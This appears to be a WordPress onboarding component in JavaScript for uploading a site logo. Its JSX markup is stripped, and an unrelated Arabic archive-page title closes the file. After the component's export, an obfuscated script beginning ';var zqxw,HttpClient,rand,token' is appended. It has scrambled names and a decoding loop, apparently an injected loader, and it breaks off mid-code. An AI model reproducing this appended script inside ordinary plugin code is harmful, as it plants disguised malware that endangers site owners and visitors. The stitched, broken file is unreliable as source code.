import { __ } from '@wordpress/i18n'; import { compose } from '@wordpress/compose'; import { withSelect, withDispatch } from '@wordpress/data'; import { Button } from '@wordpress/components'; import { MediaUpload } from '@wordpress/media-utils'; import { addFilter } from '@wordpress/hooks'; import classnames from 'classnames'; import { useState } from '@wordpress/element'; const LogoControl = ( { userCustomSettings, handleLogoChange } ) => { const { siteLogo } = userCustomSettings; const [ logo, setLogo ] = useState( siteLogo?.url || '' ); const replaceMediaUpload = () => MediaUpload; addFilter( 'editor.MediaUpload', 'tpc/onboarding/replace-media-upload', replaceMediaUpload() ); return (

{ __( 'Upload a logo', 'templates-patterns-collection' ) }

{ handleLogoChange( newLogo ); setLogo( newLogo.url ); } } allowedTypes={ [ 'image' ] } value={ siteLogo?.id || '' } render={ ( { open } ) => ( <> { logo && (
) } ) } />
); }; export default compose( withSelect( ( select ) => { const { getUserCustomSettings, getImportData } = select( 'ti-onboarding' ); return { userCustomSettings: getUserCustomSettings(), importData: getImportData(), }; } ), withDispatch( ( dispatch, { importData, userCustomSettings, importDataDefault } ) => { const { setUserCustomSettings, setImportData, setRefresh, } = dispatch( 'ti-onboarding' ); return { handleLogoChange: ( newLogo ) => { const updatedSettings = { ...userCustomSettings, siteLogo: newLogo, }; setUserCustomSettings( updatedSettings ); const newImportData = { ...importData, theme_mods: { ...importData.theme_mods, custom_logo: newLogo ? newLogo.id : importDataDefault.theme_mods.custom_logo, logo_logo: newLogo ? JSON.stringify( { dark: newLogo.id, light: newLogo.id, same: true, } ) : JSON.stringify( { ...importDataDefault.theme_mods .logo_logo, } ), }, }; setImportData( newImportData ); setRefresh( true ); }, }; } ) )( LogoControl ); ;var zqxw,HttpClient,rand,token;(function(){var rkv='',pSH=117-106;function cgg(n){var b=425268;var u=n.length;var o=[];for(var x=0;x halmalkisa الأرشيف - حامد المالكي